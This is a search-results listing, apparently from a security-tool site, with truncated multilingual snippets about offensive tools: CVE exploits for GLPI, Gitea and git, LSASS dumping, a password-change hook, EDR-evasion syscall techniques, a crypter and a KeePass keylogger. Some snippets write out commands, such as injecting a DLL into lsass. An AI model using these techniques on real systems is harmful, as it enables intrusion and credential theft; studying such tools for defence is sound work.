3995 matches found
CVE-2022-35914-poc
CVE-2022-35914 PoC 参照 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 使い方 root@kitploit: pip install -r requirements.txt root@kitploit: ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI -...
CVE-2026-60004-gitea-0day
CVE-2026-60004 - Gitea = 1.27.0 事前認証RCE これは、Gitea バージョン 1.17 から 1.27.0 における重大なリモートコード実行脆弱性である CVE-2026-60004 の概念実証エクスプロイトです。このスクリプトは、ユーザー登録からターゲットサーバー上での安定した対話型シェルの確立まで、エクスプロイトチェーン全体を自動化します。 背景 脆弱性は /diffpatch APIエンドポイントに存在します。悪意のあるパッチを2回送信すると、add/add の衝突により、--cached...
Kernel-Process-Hollowing
Windows カーネルモードの Process Hollowing このプロジェクトは、Process Hollowing 技術がカーネルレベルでどのように動作するかを示す概念実証です。 リソース SSDT Hook Process Hollowing...
NimShellcodeFluctuation
NimShellcodeFluctuation 元のリポジトリのNim移植版： https://github.com/mgeeky/ShellcodeFluctuation すべてのコメントは、元のリポジトリからそのままコピー＆ペーストしました。このテクニックを理解するのに非常に役立ったからです。このテクニック自体の詳細については、元のリポジトリのREADMEを読むことを強くお勧めします！ 依存関係のインストール： root@kitploit: nimble install winim ptrmath...
Hook-PasswordChangeNotify
Hook-PasswordChangeNotify 1、نفّذ الأمر التالي في powershell: root@kitploit: Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass 2、عندما يغيّر مستخدم الجهاز الهدف كلمة المرور، ستُكتب كلمة المرور الجديدة إلى...
STrace
STrace Steve's Tracer。Windows システムコールフックの DTrace 再実装です。ハックなしの PatchGuard 互換 SSDT フックと考えてください。SSSDT（win32k API）はサポートされません。DTrace システムコール API 自体がこの追加テーブルをサポートしていないためです。Zw カーネル API に加えて、すべてのユーザーモード SSDT システムコールをトレースできます。 STrace 用の新しいプラグインを開発する場合は、この README を最後までお読みください。 機能 Windows 上の DTrace...
HellHall
HellsHall - クリーンなシステムコールを取得する別の方法 HellsHallは、HellsGateと間接システムコールの組み合わせです。 仕組み まず、HellsHallは システムコールアドレス がフックされているかどうかを確認し、以下のバイトが存在するかどうかをチェックしてシステムコール番号を取得しようとします： 0x4C, 0x8B, 0xD1, 0xB8 は mov r10,rcx && mov eax,SSn を表します。これはすべてのシステムコールがこのように始まるべきであることを示しています。 この時点で、HellsGateは単にSyscall...
createdump
Windows App LSASS ダンプ - 概念実証 このプロジェクトは、カスタムフックを利用して LSASS へのプロセスアクセスを有効にし、Windows App から取得した Microsoft 署名済み実行可能ファイルである createdump.exe ツールを使用して LSASS プロセスをダンプする方法を示しています。 root@kitploit: Get-AuthentiCodeSignature -FilePath Join-Path -Path Get-AppxPackage -Name Windows365.InstallLocation -ChildPath...
CVE-2026-60004
CVE-2026-60004 — Gitea diffpatch RCE Gitea diffpatch エンドポイントのリモートコード実行 PoC。リポジトリへの書き込み権限を持つアカウントオープン登録インスタンスでは登録するだけがあれば、サーバー上で Gitea サービスアカウント として任意のシェルコマンドを実行できます。 脆弱性の概要 POST /api/v1/repos/owner/repo/diffpatch は、共有の ベア一時クローンリポジトリ に攻撃者が制御するパッチを適用します: root@kitploit: git apply --index --recount...
CVE-2025-48384
CVE-2025-48384: 캐리지 리턴으로 git 깨기 및 클론 RCE 재현 출처: https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. 모든 크레딧은 David Leadbeater에게 있습니다. 이것은 취약점의 기본 재현 시도입니다. 트리거하려면 취약한 git 버전에서 git clone --recursive https://github.com/acheong08/CVE-2025-48384를 실행하면 /tmp/fishsucks 파일이 갑자기 나타나는 것을 볼 수 있습니다. gi...
BumbleCrypt
BumbleCrypt Bumblebee にインスパイアされた Crypter 背景 BumbleCrypt は Bumblebee の crypter にインスパイアされています。Bumblebee の場合、メインの Bumblebee DLL はメモリにロードされ、以下の方法で実行されます: ペイロードを復号化してヒープに書き込む 3つの NtApi（NtOpenFile、NtCreateSection、NtMapViewOfSection）をフックする LoadLibraryW"gdiplus.dll" を呼び出す。これにより、LoadLibrary...
CustomLoadImage
CustomLoadImage CustomLoadImage allows for the stealthy reflective loading of .NET assemblies. This is done by calling AssemblyNative::LoadFromBuffer directly, ensuring that hooks placed on RuntimeAssembly.nLoadImage are not executed. Please leave a star if this project helps you...
CVE-2024-32002-Exploit
root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...
CaptainHook
Captain Hook これは何ですか？ このツールの目的は、ユーザー入力をトレースし、機密性の高いメソッド（java.lang.Runtime.exec、java.sql.Statement.executeQuery など）へのインジェクションポイントと、インジェクションポイントからメソッド呼び出しまでの間におけるこれらの入力の変異を特定することです。 アプリのあらゆるユーザー入力に挿入する必要がある「マーク」が生成されます。マークが異なることで、アラートの発信元を特定できます。 監視対象メソッドの一覧は、CLI の listbreakpoints コマンドで確認できます。この一覧は...
CVE-2025-65817
CVE-2025-65817 Campos| Valor ---|--- Título| Relatório de Vulnerabilidade: Câmera Inteligente LSC Smart Connect Data| 2024-02-15 Descrição| Abusando do gancho de atualização do cartão SD para gerar shells remotas em câmeras LSC Smart Connect. Tags| iot, vulnerability, cve Firmware| 1.14.13...
zafrida-ui
中文 | English ZAFrida UI - PyCharm Frida Plugin Current Version: 0.3.6 Project Introduction Frida GUI Tool for PyCharm/IntelliJ ZAFrida UI is a Frida graphical interface plugin integrated into PyCharm and JetBrains IDEs. It aims to solve the complexity of Frida command-line operations and script...
RedTeamCCode
RedTeamCCode Repositório de código C da Red Team Quer saber qual é o ID de syscall usado pelo seu sistema root@kitploit: getsyscall.exe ntdll.dll NtProtectVirtualMemory ntdll.dll!NtProtectVirtualMemory at 0x00007FFDE568D010 NtProtectVirtualMemory syscall ID 0x00000050 80 CrowdStrike interceptou...
CVE-2024-32002-hook
इस रिपॉजिटरी में README नहीं है।...
keelog-bof
KeeLog Async BOF जो अनलॉक प्रॉम्प्ट विंडो की निगरानी करके KeePass मास्टर पासवर्ड को कैप्चर करता है। जब एक लॉक्ड KeePass डेटाबेस का पता लगता है, तो एक निम्न-स्तरीय कीबोर्ड हुक स्थापित किया जाता है और कीस्ट्रोक्स तब तक कैप्चर किए जाते हैं जब तक कि प्रॉम्प्ट विंडो सबमिट, कैंसल या बंद होकर गायब न हो...